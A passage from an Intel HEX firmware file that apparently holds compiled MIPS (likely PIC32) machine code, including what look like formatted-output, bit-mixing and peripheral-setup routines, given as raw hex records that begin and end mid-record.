0ef20002c00c7af1400c0a31500c0a32800022402\n:10ef30001600c2a32400c28f000042901400c2a396\n:10ef4000010002241000c2af09fc400b00000000c9\n:10ef50001500c29313004014000000002400c38f6a\n:10ef60001000c28f2110620000004290212040005a\n:10ef70001400c3931600c293212860002130400082\n:10ef80006ab5400f000000000600401400000000b9\n:10ef90002400c38f1000c28f211062000000429035\n:10efa0001500c2a32400c38f1000c28f211062007d\n:10efb00000004290212040001400c3931600c29329\n:10efc00021286000213040006ab5400f0000000099\n:10efd00011004014000000002400c38f1000c28ff5\n:10efe0002110620000004290212040001500c393d0\n:10eff0001600c29321286000213040006ab5400ffe\n:10f000000000000004004014000000002110000077\n:10f010003cfc400b000000001000c28f01004224a5\n:10f020001000c2af1000c38f2800c28f2b106200e7\n:10f03000c7ff4014000000001500c3931400c293e2\n:10f040002b106200ff004230211840002c00c28fbc\n:10f0500003006210000000001500c2931400c2a358\n:10f060001000c0af36fc400b000000002400c38f2e\n:10f070001000c28f21106200000042902120400049\n:10f080001400c3931600c293212860002130400071\n:10f090006ab5400f000000000700401000000000ab\n:10f0a0002000c38f1000c28f21106200000040a01a\n:10f0b00033fc400b000000002000c38f1000c28f03\n:10f0c0002110620001000324000043a01000c28f41\n:10f0d000010042241000c2af1000c38f2800c28f6d\n:10f0e0002b106200e1ff4014000000000100022428\n:10f0f00021e8c0031c00bf8f1800be8f2000bd2771\n:08f100000800e003000000001c\n:020000040000fa\n:020000041d03da\n:10f10800b0ffbd274c00bfaf4800beaf4400b7af4b\n:10f118004000b6af3c00b5af3800b4af3400b3af71\n:10f128003000b2af2c00b1af2800b0af218880000a\n:10f1380021f0a0005800a6af218000000000c48381\n:10f148000100d227d40080101200a4a325000224b5\n:10f158001c0082140200c22721b800002b000424de\n:10f168002d0005243000072420000624ffff5380cb\n:10f17800ffff5e240c0064122c00632a0d0060144b\n:10f18800000000009a0065520800f7361400671660\n:10f19800010042240400f736ffff5380ffff5e247e\n:10f1a800f6ff64162c00632a0200f73668fc400b51\n:10f1b800010042240a0066160100422468fc400b44\n:10f1c8000100f736534b410f21282002ffff03248b\n:10f1d800daff431021f0400251fc400b01001026d9\n:10f1e800059d033c1d3963242110730000004290e3\n:10f1f8000200e432feffe3320bb864000800e43298\n:10f20800fbffe332040042302128c0037a0040109b\n:10f218000bb864008afc400b2110000021986000a4\n:10f228000100de270000c38340280200c01002004e\n:10f23800059d063c1d39c6242120c300000084908a\n:10f248002110a2002198530004008430f3ff801499\n:10f25800d0ff62262e0004246e00641021a800004e\n:10f268006c00042410000624008005340201641098\n:10f278000100de276d0064288000801473000424d8\n:10f28800ed006410740064289a008014750004244a\n:10f29800e600641078000424ff0064141200a3a39d\n:10f2a8008000f736c000e33288006014201e177c07\n:10f2b800190262045800a68f1000e332080160109a\n:10f2c8005800a48f5800a78f0000e38c0400e7249f\n:10f2d8005800a7afc327030021b0600021a0800019\n:10f2e800212880000600a104235803002b180b00d6\n:10f2f800232004000300f73621b0600123a0830017\n:10f308000300a016c000f23225a8d4020100b52ed1\n:10f3180040000324d30143124100432ef800601437\n:10f3280080000324b701431201000324c000032412\n:10f33800f60043561200b383010003241102801221\n:10f348001200a3a3059d043cb842842403000324af\n:10f3580002001324dafc400b15000a242198c0008f\n:10f368000400858c010069242034037c2b38850235\n:10f378009a01e014ff002331f601b4500000858c97\n:10f38800f6ff6a14080084241200a6a32198c0007e\n:10f398002a187502e1006054209c157c2a18b302d3\n:10f3a8000ba86302050040100040e3320300e3327b\n:10f3b8002b180300231043000040e33205006010bf\n:10f3c8002a1862022a18a202231055000a10030004\n:10f3d8002a186202d80060540400e3320400e232c2\n:10f3e800f70140100800e232d2fd400b21980000de\n:10f3f80068fc400b010042242a00022443006212e8\n:10f408002e000424211860022110000094ff6414c7\n:10f4180021a800000100c3832a000424ae0164105f\n:10f428000040f736059d053c1d39a5242120a30081\n:10f43800000084900400843089ff80100100de27da\n:10f4480040201500c0a815000100de2721a895005e\n:10f4580021a8a3020000c383059d073c1d39e724aa\n:10f468002120e3000000849004008430f4ff80141d\n:10f47800d0ffb5269bfc400b6c00042463000424d9\n:10f488002f0064106400642827008050640004245e\n:10f498007f00601458000424211000024c00bf8f24\n:10f4a8004800be8f4400b78f4000b68f3c00b58f30\n:10f4b8003800b48f3400b38f3000b28f2c00b18f76\n:10f4c8002800b08f0800e0035000bd2789016004c0\n:10f4d8001000e3327d0060105800a38f5800a78ffa\n:10f4e8000000f68c21a000000400e724c2fc400bb9\n:10f4f8005800a7af6f00042473016414700004243b\n:10f508001200a3a3abfc400b4000f7365800a78fae\n:10f518000000e28c0100de270100a3800400e7243c\n:10f5280097fc400b5800a7af03006410690004243f\n:10f53800590064541200a3a3abfc400b1200a3a310\n:10f548005800a58f0000a48c1000e6320400a72400\n:10f55800c32f0400002e0500021a04002518a3007a\n:10f56800202c037c6f00c0101200a5a301006324a7\n:10f57800ff0063300200632c6b0060541000a4a3ea\n:10f588001000a5a31100a4a3020012241000b6279e\n:10f598005800a7af0300a0120800f4322b18b202db\n:10f5a8000b90a3022b98420223105200ffff9432c3\n:10f5b8000a1013004000801221984000ffff5526d2\n:10f5c8007bfd400bffff1224000044800100d6267b\n:10f5d800534b410fffffb526271002002b100200e6\n:10f5e800218002022110c002f7ffb2162128200252\n:10f5f800d3fe80520000c48389fd400b2000042400\n:10f60800534b410fffff7326271002002b100200f7\n:10f61800218002022000042421282002f8ff60161d\n:10f628000000000052fc400b0000c4831200a3a39a\n:10f63800abfc400bc000f7361200a3a35800a38f01\n:10f648000000658c040066244701a01021b0a000ca\n:10f658000000a380480160100100a32423906500e6\n:10f6680001006324ffff6480fdff80542390650040\n:10f6780067fd400b5800a6af1000e3322138a00008\n:10f688000a38c30025b8f7009dfc400b0000c3836f\n:10f698000f0164101200a3a31200b62767fd400be8\n:10f6a80001001224534b410fffff7326271002005d\n:10f6b8002b1002002180020220000424f9ff6016aa\n:10f6c8002128200271fd400bffff13240000768cd7\n:10f6d80021a0000004006324c2fc400b5800a3af23\n:10f6e8000000838c040084245800a4afc3270300bf\n:10f6f80021b0600021a08000bbfc400b21288000c5\n:10f708000eff4012010003241200b3832a18750269\n:10f7180023ff60102a18b302209c157cebfc400bd9\n:10f728001200b3a31000a4a3010012241000b627ee\n:10f7380067fd400b5800a7af1c00601023985300ca\n:10f748000200e232ab0040100100e2320100e43274\n:10f758002d0002242b0003240a10640021204000fd\n:10f76800534b410f21282002271002002b100200c2\n:10f77800218002020a0060120800e23230000424ec\n:10f78800534b410f21282002271002002b100200a2\n:10f79800ffff7326f9ff6016218002020800e2329b\n:10f7a800ffff423000fe400b2400a2af0800e23207\n:10f7b800ffff4230030060122400a2af5600401041\n:10f7c800200004240200e232860040100100e232e8\n:10f7d8000100e4322d0002242b0003240a106400e7\n:10f7e80021204000534b410f2128200227100200fe\n:10f7f8002b10020021800202ffffa926c0a80900e1\n:10f80800401809002000e232059d043ca8428424e7\n:10f8180021a895001800b5af21b869004028140048\n:10f828001c00a5afffff42302000a2affdff02245d\n:10f838001800e21280a80900400002245900421270\n:10f848004100422e2200401480000224430042124c\n:10f8580027181500c0000224200042121800a28fa9\n:10f868001200a483534b410f2128200227100200c5\n:10f878002b100200218002021800a78ff8ffe7244e\n:10f888001800a7affdfff726fdff0224eaffe216e6\n:10f89800fcffb5262400a28f29fe40500000c48337\n:10f8a80027fe605a0000c48320000424534b410ff4\n:10f8b80021282002271002002b100200ffff7326c8\n:10f8c800f9ff60162180020252fc400b0000c4833d\n:10f8d800e4ff40561200a4831800a28f0000468c53\n:10f8e8000400478c2120c0020733410f21288002e1\n:10f8f80021204000212860000a000624ee31410f33\n:10f9080021380000300042242024027c1bfe400bda\n:10f918001200a4a320000424534b410f21282002e5\n:10f92800271002002b100200ffff7326a5ff6012ac\n:10f938002180020220000424534b410f2128200279\n:10f94800271002002b100200ffff7326f1ff60163c\n:10f9580021800202f4fd400b0200e2321c00a48f59\n:10f96800041864000610b6022000a63225106200b2\n:10f978000628b402059d073c5043e324059d073c37\n:10f988006443e4240b10a6002000a58f0a18850004\n:10f998000f00423021186200000064801bfe400bfb\n:10f9a8001200a4a3271017001c00a68f04104600fd\n:10f9b8000620f6022000e332252044000610f40257\n:10f9c8000b20430007008430300084241bfe400bca\n:10f9d8001200a4a337008050c0280500c5fd400bc5\n:10f9e8001200b3a385ff4010ffffa926fbfd400bc3\n:10f9f800200004245fff401020000424dafd400b9f\n:10fa080000000000640080121200a3a30300032476\n:10fa18000200132400010524212000008cfe400b65\n:10fa280011000d242198c000010069242b3884029c\n:10fa3800026705002034037c00510400e7ffe0144e\n:10fa4800ff0023313f0094502b20c50200290500f8\n:10fa5800f4ff6d1425208a011200a6a3e6fc400bd2\n:10fa68002198c00001000324500080121200a3a3b3\n:10fa78000300032402001324400005242120000071\n:10fa8800a5fe400b16000d242198c0000100692432\n:10fa98002b388402426705002034037cc0500400e0\n:10faa800ceffe014ff002331caff94102b20c502bb\n:10fab800c0280500f4ff6d1425208a011200a6a3b2\n:10fac800e6fc400b2198c000f3fe64141200a3a3c7\n:10fad800aafc400b2000f7365800a68f0000d58cf2\n:10fae8000200c3830400c6245800a6af9afc400b4a\n:10faf8000200de275800a58f0700a424f8ff03247e\n:10fb080024188300080066245800a6af0000768ced\n:10fb1800c2fc400b0400748c0700c424f8ff0324c3\n:10fb2800242083000400858c0000838c0800842432\n:10fb38005800a4af2120a00021b06000bbfc400bfe\n:10fb480021a0a000c2ff805000290500c5fd400b80\n:10fb58001200b3a32b28c50209fea0100000000064\n:10fb6800c5fd400b1200b3a3059d163c4843d6269d\n:10fb780096fd400b2128c0025800a6af67fd400b38\n:10fb8800219000000a00c32eeffd6010059d043c83\n:10fb9800c5fd400b010013241000c32e9cff60100c\n:10fba80003000324c5fd400b010013240800c32ee5\n:10fbb800b0ff601003000324c5fd400b01001324af\n:10fbc800ffff42302400a2aff3fd400b2198000054\n:020000040000fa\n:020000041d03da\n:10fbd800d8ffbd272400bfaf2000beaf21f0a0038f\n:10fbe8002800c4af2c00c5af3000c6af3400c7af83\n:10fbf80000a0023cdc1c44242800c58fe7b8400f55\n:10fc0800000000001800c2af1800c28f04004014a2\n:10fc1800000000002110000013ff400b000000004e\n:10fc28003400c28f1000a2af00a0023cdc1c4424a8\n:10fc38001800c58f2c00c68f3000c78f19ff400fe2\n:10fc48000000000021e8c0032400bf8f2000be8f01\n:10fc58002800bd270800e00300000000e8ffbd27da\n:10fc68001400bfaf1000beaf21f0a0031800c4af4e\n:10fc78001c00c5af2000c6af2400c7af00a0023cdf\n:10fc8800dc1c44241800c58f1c00c68f494a410f4c\n:10fc98000000000000a0023cdc1c43241c00c28fb2\n:10fca800211062002a000324000043a02000c48f12\n:10fcb80000a0023cdc1c45242400c68f2800c78f06\n:10fcc8006900410f000000000100022421e8c00380\n:10fcd8001400bf8f1000be8f1800bd270800e00376\n:10fce80000000000c0fdbd273c02bfaf3802beaf18\n:10fcf80021f0a0034002c4af010002242c00c2afcf\n:10fd08003000c227212040003000052400020624cc\n:10fd18006551410f000000003002c0a300a0023c62\n:10fd2800dc5642249c00448c00a0023cdc56422451\n:10fd3800a400458c00a0023cdc564224b000428c52\n:10fd480000a0033cdc566324bc00639021386000ab\n:10fd580000a0033cdc5663248c00668c3000c3276b\n:10fd680000a0083c995708251000a8af1400a7afb9\n:10fd78001800a6af1c00a0af010006242000a6af03\n:10fd88002130600021384000a9ff400f000000002a\n:10fd98002118400000a0023cdc564224b000428cee\n:10fda80004006210000000002110000092ff400bc8\n:10fdb800000000002800c0af7dff400b00000000dd\n:10fdc8002800c28f2800c327211062000800439032\n:10fdd8003000022402006210000000002c00c0afb6\n:10fde8002800c28f010042242800c2af3000c22779\n:10fdf80021204000a34a410f0000000021184000c4\n:10fe08002800c28f2b104300edff401400000000b3\n:10fe18002c00c28f040040100000000021100000d8\n:10fe280092ff400b000000003000c2274002c48f40\n:10fe3800212840007f49410f0000000001000224f2\n:10fe480021e8c0033c02bf8f3802be8f4002bd27a5\n:10fe58000800e00300000000e8ffbd271400bfaf62\n:10fe68001000beaf21f0a0031800c4af1c00c5af3e\n:10fe78001800c48f1c00c58f7f49410f0000000087\n:10fe88000100022421e8c0031400bf8f1000be8fb8\n:10fe98001800bd270800e00300000000c0ffbd27d0\n:10fea8003c00bfaf3800beaf3400b0af21f0a003b4\n:10feb8004000c4af4400c5af4800c6af4c00c7af50\n:10fec8005400c38f6000c28f2800c3a32c00c2a3b4\n:10fed8001800c0af2000c0af2400c0a35c00c28fd0\n:10fee8000500401000000000010002242400c2a305\n:10fef800c2ff400b00000000020002242400c2a33d\n:10ff08002400c3934c00c28f180062005800c28faf\n:10ff18001000a2af5c00c28f1400a2af4000c48fd3\n:10ff28004400c58f00a0023cdc1c462412380000a7\n:10ff3800dc00410f00000000040040140000000035\n:10ff4800211000006200410b000000009880828fa1\n:10ff58000400401000000000211000006200410b66\n:10ff6800000000005800c28f06004010000000008a\n:10ff780001000424ff0d410f00000000f3ff400bb7\n:10ff880000000000f3ff400b000000005800c28f83\n:10ff98000c0040100000000021200000ff0d410f60\n:10ffa80000000000211840005800c28f2b104300a9\n:10ffb8000400401000000000211000006200410b06\n:10ffc8000000000088bf023ca061428c4000423023\n:10ffd800eeff401000000000f880828f04004010ff\n:10ffe80000000000211000006200410b000000002a\n:10fff8002800c29345004010000000002000c0af58\n:020000041d04d9\n:100008001c00c0af1c00c28f1800c2af3200410be9\n:100018000000000000a0023cdc1c43241800c28f32\n:1000280021106200000050901c00c28fc210020014\n:100038005000c38f21106200000042902118400038\n:100048001c00c28fff00423027100200ff00423020\n:1000580007004230212060002128400045ba400fa7\n:100068000000000006000216000000001c00c28ffd\n:10007800010042241c00c2af2700410b0000000011\n:100088001800c38f1c00c28f231062001800c2af73\n:100098001c00c0af2800c3931c00c28f0500621467\n:1000a80000000000010002242000c2af3a00410b0a\n:1000b800000000001800c28f010042241800c2afdf\n:1000c8002400c3934c00c28f180062001800c28f2e\n:1000d800121800002b104300ceff4014000000004f\n:1000e8002000c28f0400401400000000211000000e\n:1000f8006200410b000000002800c2931800c38f63\n:1001080023106200010042241800c2af2c00c393e0\n:10011800010002240c006214000000001800c38fc4\n:1001280000a0023cdc1c4224211062004800c48f5d\n:10013800212840004c00c68f63b9400f0000000022\n:100148006200410b000000001800c38f00a0023cb1\n:10015800dc1c4224211062004800c48f2128400082\n:100168004c00c68f494a410f000000004800c38f69\n:100178004c00c28f21106200000040a04c00c28fca\n:1001880021e8c0033c00bf8f3800be8f3400b08f19\n:100198004000bd270800e00300000000e8ffbd277d\n:1001a8001400bfaf1000beaf21f0a0031800c4af09\n:1001b8001c00c5af2000c6af2400c7af1800c38f0e\n:1001c800cccc023ccdcc42341900620010100000a7\n:1001d800c2100200c01002001800c2af1800c38f7e\n:1001e8002000c28f18006200121000001800c2af71\n:1001f8001c00c28f000042900c8282a31c00c28f98\n:1002080001004224188282af1c00c28f208282af74\n:10021800010002242c8282af010002240d8282a3f5\n:100228002400c28f248282af00a0023cdc56422404\n:10023800cc00428c060040140000000000a0023ce4\n:10024800dc564224c400428c0b0040100000000021\n:100258001800c28f421002001800c2af0d828293ac\n:1002680040100200ff0042300d8282a32c82828f50\n:10027800401002002c8282afe00c410f0000000009\n:1002880001000224848082a388bf023c001003245a\n:10029800641043ac88bf023c681040ac80bf023c8d\n:1002a800000a40ac88bf033c20616294444a027c47\n:1002b800206162a488bf033cd06062940421027c60\n:1002c800d06062a488bf033c60606294010004248b\n:1002d8000421827c606062a488bf033c2061629430\n:1002e8000400027c206162a480bf023c000a40ac8a\n:1002f80080bf023c100a40ac1800c28fffff4324a5\n:1003080080bf023c200a43ac80bf023c008003341b\n:10031800080a43ac88bf023c1c000324c41043ac49\n:1003280088bf023c18000324c81043ac88bf023cb5\n:1003380000100324341043ac88bf023c001003248f\n:10034800641043ac88bf023c00100324681043ac1f\n:1003580021e8c0031400bf8f1000be8f1800bd270e\n:100368000800e00300000000d0ffbd272c00bfaf4d\n:100378002800beaf21f0a0033000c4af3400c5afe1\n:100388003800c6af3c00c7aff88080af00a0023c81\n:10039800dc564224cc00428c0600401400000000c9\n:1003a80000a0023cdc564224c400428c09004010e4\n:1003b800000000003400c28f421002003400c2afb7\n:1003c8003c00c28f40100200388282aff900410b16\n:1003d800000000003c00c28f388282af3800c28f14\n:1003e800188282af1882828f2120400021280000c5\n:1003f8003c00c68f6551410f0000000088bf023cd9\n:100408000002033c741043ac88bf023c2061428c5c\n:10041800020042301b004010000000003000c28f74\n:100428004210020003000424212840003000c68f37\n:1004380008000724ce0b410f0000000000a0023c7a\n:10044800dc5642249c00438c00a0023cdc5642242b\n:10045800f000428c18006200122000002000c4af97\n:10046800eb51023c1f8542342000c38f1900620003\n:10047800101000004211020021204000400e410fe0\n:100488000000000001000424ff0d410f00000000df\n:1004980088bf023cd060428c0002427cff004230a0\n:1004a8001000c2a33801410b000000002120000009\n:1004b800ff0d410f00000000211840004000c28fce\n:1004c8002b10430004004010000000002110000021\n:1004d8009301410b0000000088bf023cd060428cb1\n:1004e8000002427cff0042301000c393efff62100d\n:1004f800000000003000c38fcccc023ccdcc42348d\n:100508001900620010100000c2100200c0100200a2\n:100518003000c2af00a0023cdc564224c400428c2a\n:1005280029004010000000004400c28f260040143b\n:10053800000000003000c38f3400c28f1800620032\n:1005480012180000401003001400c2af1000c0a32e\n:100558006d01410b000000001800c28f050040101b\n:10056800000000001000c393ff000224030062147f\n:10057800000000009301410b000000001800c48f28\n:100588001400c58f0a0006246ab5400f0000000059\n:1005980003004010000000007401410b000000003f\n:1005a8001000c293010042241000c2a34000c48f6f\n:1005b80062bd400f000000001800c2af1800c28fd3\n:1005c800e5ff4014000000003000c38f3400c28fe4\n:1005d8001800620012200000421004001400c2af8c\n:1005e80001000424170e410f000000000000000065\n:1005f80021200000170e410f0000000021184000c4\n:100608001400c28f2b106200f9ff40140000000094\n:1006180001000424ff0d410f000000003000c38fcb\n:100628003400c28f1800620012180000ffff622415\n:1006380021204000010005246d0c410f000000003e\n:100648000100022421e8c0032c00bf8f2800be8fc0\n:100658003000bd270800e0030000000082300400dd\n:100668000c00c6304008827c2530c200792c032457\n:100678000630c3000100c630823a04000200e730a9\n:10068800c001827c2538e200c21204000c0042300e\n:100698002538e200e2cc03340638e3000200e730f4\n:1006a800021f040004006330c00e827c251862001b\n:1006b800c010050008004230251862000300023c03\n:1006c8008833482406186800080063302518e300ba\n:1006d80025186600423205000600c6304000a77c97\n:1006e8002530c700822a05000800a5302528c50046\n:1006f80090c742240610a20010004230251862005c\n:10070800c2140400020042300004857c2510450014\n:10071800022d04000400a5302510450082250400a0\n:1007280008008430251044000200043cc499842445\n:100738000620440004008430251864000779023c30\n:100748007b284224061062000800e00301004230c2\n:10075800d8ffbd272400bfaf2000b4af1c00b3af43\n:100768001800b2af1400b1af1000b0af21888000fc\n:10077800ffffc230003c0700023406002530e600c7\n:100788003c00b38f26986602002c13002510450004\n:10079800c01f02003800a48f4220040025206400f6\n:1007a80042280200c01f0500428004002580700016\n:1007b8009901410f829002008013020026285200fe\n:1007c800c0170500429010002590520042a0050075\n:1007d8009901410f2120000280130200262882027d\n:1007e800c0170500428012002580500042a0050075\n:1007f8009901410f2120400280130200262882021d\n:10080800c0170500429010002590520042a0050034\n:100818009901410f2120000280130200262882023c\n:10082800c0170500428012002580500042a0050034\n:100838009901410f212040028013020026288202dc\n:10084800c0170500429010002590520042a00500f4\n:100858009901410f212000028013020026288202fc\n:10086800c0170500428012002580500042a00500f4\n:100878009901410f2120400280130200262882029c\n:10088800c0170500429010002590520042a00500b4\n:100898009901410f212000028013020026288202bc\n:1008a800c0170500428012002580500042a00500b4\n:1008b8009901410f2120400280130200262882025c\n:1008c800c0170500429010002590520042a0050074\n:1008d8009901410f2120000280130200262882027c\n:1008e800c0170500428012002580500042a0050074\n:1008f8009901410f2120400280130200262882021c\n:10090800c0170500429010002590520042a0050033\n:100918009901410f2120000280130200262882023b\n:10092800c0170500428012002580500042a0050033\n:100938009901410f212040028013020026288202db\n:10094800c0170500429010002590520042a00500f3\n:100958009901410f212000028013020026288202fb\n:10096800c0170500428012002580500042a00500f3\n:100978009901410f2120400280130200262882029b\n:10098800c0170500429010002590520042a00500b3\n:100998009901410f212000028013020026a0820243\n:1009a800029c1300c09b130025289302c017050062\n:1009b8004280120025805000429805009901410f9d\n:1009c800212040028013020026286202c017050079\n:1009d8004290100025905200429805009901410f5d\n:1009e800212000028013020026286202c017050099\n:1009f8004280120025805000429805009901410f5d\n:100a0800212040028013020026286202c017050038\n:100a18004290100025905200429805009901410f1c\n:100a2800212000028013020026286202c017050058\n:100a38004280120025805000429805009901410f1c\n:100a4800212040028013020026286202c0170500f8\n:100a58004290100025905200429805009901410fdc\n:100a6800212000028013020026286202c017050018\n:100a78004280120025805000429805009901410fdc\n:100a8800212040028013020026286202c0170500b8\n:100a98004290100025905200429805009901410f9c\n:100aa800212000028013020026286202c0170500d8\n:100ab8004280120025805000429805009901410f9c\n:100ac800212040028013020026286202c017050078\n:100ad8004290100025905200429805009901410f5c\n:100ae800212000028013020026286202c017050098\n:100af8004280120025805000429805009901410f5c\n:100b0800212040028013020026286202c017050037\n:100b18004290100025905200429805009901410f1b\n:100b2800212000028013020026286202c017050057\n:100b38004280120025805000429805009901410f1b\n:100b4800212040028013020026286202c0170500f7\n:100b58004290100025905200429805009901410fdb\n:100b6800212000028013020026286202c017050017\n:100b78004280120025805000429805009901410fdb\n:100b880021204002801302002690620221200002e8\n:100b98009901410f21284002c01302002628420271\n:100ba800000030ae040025aec01705004218100042\n:100bb800251843004210050026187000261045002d\n:100bc800802605008231100025308600824105000c\n:100bd800003c0500022410002520e400023c05002a\n:100be8002630c400263807012630d0002638e50014\n:100bf8008041050082261000252004018246050058\n:100c08002620c4002638e8008030050082871000be\n:100c18002580d00082470500268090002638e8000d\n:100c2800422a050026800502802f02008220030048\n:100c38002520a40082300200268004022628e6002f\n:100c480040360200c22103002520c400c231020040\n:100c5800262004022628a60080320200821d0300f6\n:100c68002518c30082350200261883002628a6000e\n:100c780082320200261866008213020026106200e3\n:100c8800080022ae0c0025ae2400bf8f2000b48fd0\n:100c98001c00b38f1800b28f1400b18f1000b08ff2\n:100ca8000800e0032800bd27c8ffbd273400bfaff8\n:100cb8003000b7af2c00b6af2800b5af2400b4aff2\n:100cc8002000b3af1c00b2af1800b1af1400b0af32\n:100cd80021a880000000948c0400908c0800928c5d\n:100ce8000c00918c2f00a010211000002100b32cc3\n:100cf800200002240b10b3002198400021b000000e\n:100d08002283173c7300f72601004232110040107d\n:100d1800c017100042201400252044004280100013\n:100d280021a0800000801036c017110042901200e8\n:100d380025905200428811002690570280b3313a1c\n:100d480040b016009901410f212800026303410bae\n:100d580025b05600422014002520440042281000e7\n:100d680021a080002180a000c0171100429012002d\n:100d780025905200428811009901410f40b0160099\n:100d880025b05600ffff7326e0ff601601004232cf\n:100d98000000b4ae0400b0ae0800b2ae0c00b1aeb4\n:100da8002110c0023400bf8f3000b78f2c00b68fdf\n:100db8002800b58f2400b48f2000b38f1c00b28f99\n:100dc8001800b18f1400b08f0800e0033800bd2769\n:100dd800c0ffbd273c00bfaf3800beaf21f0a00365\n:100de800b292023cf2724234d24a03241300400009\n:100df8001100600012100000101800001800c2afa7\n:100e08001c00c3afea96023c92c242342000c2af33\n:100e1800a24e023ca67642342400c2af2800c22764\n:100e28002000c38f1000a3af2400c38f1400a3af0a\n:100e3800212040001800c68f1c00c78fd601410f23\n:100e48000000000001000424ff0d410f0000000015\n:100e58002800c22721204000200005242c03410f30\n:100e68000000000021200000ff0d410f00000000dd\n:100e780021e8c0033c00bf8f3800be8f4000bd276b\n:100e88000800e00300000000b8ffbd274400bfaf22\n:100e98004000beaf21f0a0034800c4afb292023cac\n:100ea800f2724234d24a0324130040001100600059\n:100eb80012100000101800002000c2af2400c3afb9\n:100ec800ea96023c92c242342800c2afa24e023ccb\n:100ed800a67642342c00c2af01000424ff0d410f56\n:100ee800000000001800c0afd203410b0000000052\n:100ef8002c00c38f1800c28f211862003000c2274f\n:100f08002800c48f1000a4af1400a3af2120400014\n:100f18002000c68f2400c78fd601410f00000000b3\n:100f28003000c22721204000200005242c03410f57\n:100f3800000000001800c28f010042241800c2af50\n:100f48001800c38f4800c28f2b106200e8ff4014be\n:100f58000000000021200000ff0d410f00000000ec\n:100f680021e8c0034400bf8f4000be8f4800bd2762\n:100f78000800e00300000000a0ffbd275c00bfaf31\n:100f88005800beaf21f0a003059d023c605f4324da\n:100f98000300638821286000605f4598605f4324f0\n:100fa8000700648804006498605f43240b00668827\n:100fb8002138c000080067982118e000605f4224cb\n:100fc8000f0046882138c0000c0047982110e00027\n:100fd8003400c5af3800c4af3c00c3af4000c2af57\n:100fe800b292023cf2724234d24a03241300400007\n:100ff8001100600012100000101800002000c2af9d\n:101008002400c3afea96023c92c242342800c2af21\n:10101800a24e023ca67642342c00c2af4800c2273a\n:101028002800c38f1000a3af2c00c38f1400a3aff8\n:10103800212040002000c68f2400c78fd601410f11\n:10104800000000001800c0af2b04410b0000000096\n:101058004800c22721204000080005242c03410f26\n:10106800000000003000c2a31800c28f1800c32778\n:10107800211062001c0042903100c2a33000c393cb\n:101088003100c2930400621000000000211000002b\n:101098003004410b000000001800c28f01004224f8\n:1010a8001800c2af1800c28f1000422ce8ff40148d\n:1010b800000000000100022421e8c0035c00bf8f8b\n:1010c8005800be8f6000bd270800e0030000000044\n:020000040000fa\n:020000041d04d9\n:1010d80078ffbd278400bfaf8000beaf7c00b7afec\n:1010e8007800b6af7400b5af7000b4af6c00b3afa2\n:1010f8006800b2af6400b1af6000b0af00a0133cad\n:10110800059d163c1d39d6269000a6afdc7164ae4d\n:1011180021a000005800a0af0000b0909a00001273\n:101128000100b5242110d00200004280880042301e\n:10113800a2004014250002248b0002162188a00278\n:101148000100b28021800000040003245400a3aff2\n:101158005000a0af04001e24ff0052327900422e36\n:10116800630140100100352680101200049d043ce4\n:101178008c118424211082000000428c0800400059\n:1011880000000000d413049df816049df816049d71\n:10119800f816049df816049df816049df816049d8b\n:1011a800f816049df816049df816049df816049d7b\n:1011b800f816049df816049df816049df816049d6b\n:1011c800f816049df816049df816049df816049d5b\n:1011d800f816049df816049df816049df816049d4b\n:1011e800f816049df816049df816049df816049d3b\n:1011f800f816049df816049df816049df816049d2b\n:10120800f816049df816049df816049df816049d1a\n:10121800f816049df816049df816049df816049d0a\n:10122800f816049df816049df816049df017049d01\n:10123800f816049df816049df816049df816049dea\n:10124800f816049df816049df816049df816049dda\n:10125800f816049df816049df816049df816049dca\n:10126800f816049df816049df816049df816049dba\n:10127800f816049df816049df816049df816049daa\n:10128800f816049df816049df816049df816049d9a\n:10129800f816049df816049d5c17049df816049d25\n:1012a8005c17049df816049df816049df816049d15\n:1012b800f816049d0c18049df816049df816049d54\n:1012c800f816049df816049df816049df816049d5a\n:1012d800f816049df816049df816049df816049d4a\n:1012e800f816049d8016049df816049df816049db2\n:1012f800f816049df816049df816049df816049d2a\n:10130800f816049df816049df816049df816049d19\n:101318009416049d8c16049d5c17049d5c17049d0f\n:101328005c17049dd816049d8c16049df816049d20\n:10133800f816049d0c18049df816049df816049dd3\n:101348002014049df816049df816049df816049db3\n:10135800cc15049df816049d8c16049df816049d62\n:10136800f816049d4015049d884e410fdc71648e6b\n:1013780052010216ffff03242128a0020000b090aa\n:1013880068ff00160100b5245800a28f8400bf8fa3\n:101398008000be8f7c00b78f7800b68f7400b58f41\n:1013a8007000b48f6c00b38f6800b28f6400b18f87\n:1013b8006000b08f0800e0038800bd272b55410f5f\n:1013c80000000000e104410b2128a0025800a48f6e\n:1013d8004001801421108000dc71628e0c00429460\n:1013e8000001427c231002008400bf8f8000be8f62\n:1013f8007c00b78f7800b68f7400b58f7000b48ffb\n:101408006c00b38f6800b28f6400b18f6000b08f3a\n:101418000800e0038800bd27080012242b55410f5f\n:1014280000000000dc71648e884e410f5c00a0afa4\n:10143800218840002d0002244a00221200a0033c0b\n:1014480021202002212840028f51410f21308002a3\n:10145800ff00032450004310dc71658e3000022425\n:101468003d012212000000002805410b21f0000078\n:10147800884e410fdc71648e218840002120400095\n:10148800212840028f51410f21308002ff000324a0\n:101498000b0043102120200202f0d27321202002e9\n:1014a800212840028f51410f21308002ffff102672\n:1014b8002084107ceeff001621f0c20321202002b8\n:1014c800212840028f51410f21308002ff0004245f\n:1014d80055014410dc71658e23101e005c00a38f3b\n:1014e8000bf043005000a38fa4ff60142128a00232\n:1014f8005800a48f01008224ff0042305800a2af98\n:10150800040002245400a38f040062100200022485\n:101518005400a38f480162109000a38f9000a38ffe\n:101528000000628c040063249000a3af00005eac4e\n:10153800e104410b2128a002100012242b55410f71\n:1015480021a00000dc71648e884e410f5c00a0afc2\n:10155800218840002d000224baff221621202002f3\n:1015680000a0033cdc71648c01000324884e410f09\n:101578005c00a3af218840002120200221284002de\n:101588008f51410f21308002ff000324b4ff431420\n:1015980030000224dc71658e3d54410f2120200269\n:1015a8005800a48fcb0080542110800000a0023c7a\n:1015b800dc71428c0c0042940001427cfc04410b1b\n:1015c800231002002b55410f000000005000a38f8c\n:1015d800d40060109000a38f884e410fdc71648e98\n:1015e800ffff0324d80043505800a28f1200401474\n:1015f800010043249805410b5000a38f1d01621080\n:101608005000a38f03006014ffff10260000e2a221\n:101618000100f7262084107c0f0000125000a38fd1\n:10162800884e410fdc71648e010043240200642c53\n:10163800090080545000a38f059d043c1c39842464\n:10164800211883000000638088006330ebff60503e\n:10165800010023825000a38f48ff60142128a002b4\n:101668005800a48f01008224ff0042305800a2af26\n:10167800e104410b0000e0a2100012240905410b0f\n:10168800010014240905410b0a0012245000a